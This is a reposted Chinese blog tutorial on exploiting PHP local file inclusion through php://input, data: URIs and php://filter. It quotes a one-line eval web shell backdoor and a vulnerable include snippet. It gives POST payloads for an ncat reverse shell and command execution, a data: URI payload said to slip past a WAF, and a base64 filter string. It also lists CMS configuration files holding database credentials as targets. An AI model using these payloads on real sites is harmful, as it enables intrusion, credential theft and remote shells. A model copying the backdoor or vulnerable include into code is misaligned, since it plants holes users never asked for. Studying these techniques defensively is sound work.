php://input將文件讀取變為命令執行


一、php://input一句話木馬

在調研dedecms的歷史漏洞時,發現了dedecms安裝文件曾經出過被植入后門的漏洞(SSV-ID站點include目錄下shopcar.class.php文件被植入一句話木馬)

@eval(file_get_contents(‘php://input’))

 

我是個十足的php菜鳥,只有用到的時候才會去查查語法書,對php://input也只是有點印象而已,於是用腳本phpinput.php,配合firefox Hackbar插件測試了一下php://input的功能

 
<?php $data=file_get_contents('php://input'); echo $data."<br/>"; //@eval(file_get_contents('php://input')) ?>

發現php://input是用來接收post數據(這里有php://input的介紹)

php文件包含

注釋掉phpinput.php的打印語句

    <?php @eval(file_get_contents('php://input'))?>

 

使用firefox的hackbar提交上圖顯示的post data

    
system('ncat -e /bin/bash localhost 1234');

 

測試了一下nc反彈shell的利用,成功

php文件包含

看來,只要構造了合適的POST數據,就能達到getshell的目的。

二、php://input將文件包含漏洞變成代碼執行漏洞

頓時覺得php://input好神奇,於是進一步搜索它還能發揮哪些作用。

在這里感謝Casperkid大牛的文章《php LFI讀php文件源碼以及直接post webshell》,我才知道文件包含可以這樣深入。

接下來,演示TA是如何將文件包含漏洞轉變成代碼執行的漏洞。方法參考LFI exploitation via php://input

首先看一段存在文件包含漏洞的代碼

<?php @include($_GET["file"])?>

 

php文件包含

我們使用php://input,將執行代碼通過Firefox 的hackbar 在POST data中提交

<?php system('ifconfig');?>

 

看,文件包含漏洞變成代碼執行漏洞了

php文件包含

三、data URI schema將文件包含漏洞變成代碼執行漏洞並繞過360網站衛士的WAF

那還有哪些辦法,可以同樣做到代碼執行呢,Casperkid大牛的文章中提到,data URI schema的使用就可以達到這樣的效果。

data URI schema,我曾經在做釣魚的練習中,將攻擊代碼生成這種格式並配合短地址轉換來生成惡意url,見《利用iframe URI釣魚》,但沒想到可以用在文件包含漏洞中。

接下來演示如何實施。

在實施的時候,我突然想到,文件包含漏洞,在讀取php文件時,是不能顯示文件內容的。

而很多情況,我們是急需讀取PHP格式的配置文件,例如

dedecms數據庫配置文件data/common.inc.php

discuz全局配置文件config/config_global.php

phpcms配置文件caches/configs/database.php

phpwind配置文件conf/database.php

wordpress配置文件wp-config.php

以便下一步滲透測試

於是我寫了一段讀取指定文件FileInclude.php的代碼

1 <?php system('cat /var/www/FileInclude.php')?>

然后將攻擊代碼轉化成data:URI,

1 data:text/plain,<?php system('cat /var/www/FileInclude.php')?>

運行,如下

php文件包含

注意,我們看到轉化后的GET請求的參數中包含

四、php://filter在文件包含漏洞中的利用——讀取php文件源碼內容

經過上面的操作,我們知道php://input與data:URI schema可以將文件包含漏洞變成代碼執行漏洞從而getshell。接下來看看php://input的好基友php://filter能做什么呢

參考LFI’s Exploitation Techniques,我們可以采用php://filter以base64編碼的方式讀取指定文件的內容

1 php://filter/read=convert.base64-encode/resource=[文件路徑]

下面演示通過php://filter讀取本包含漏洞腳本的源碼

php文件包含

接下來只要將base64編碼后的字符串通過base64解碼就可得到PHP文件的源碼了

php文件包含

參考:

LFI’s Exploitation Techniques.

http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html

http://hi.baidu.com/qingsh4n/item/92ffa87281e7ee226cc37cc7

http://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0

http://www.php.net/manual/zh/wrappers.php.php

轉自:http://danqingdani.blog.163.com/blog/static/1860941952013993810261/



本文鏈接地址: php://input,php://filter,data URI schema的那些事

原創文章,轉載請注明: 轉載自Lz1y's Blog


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM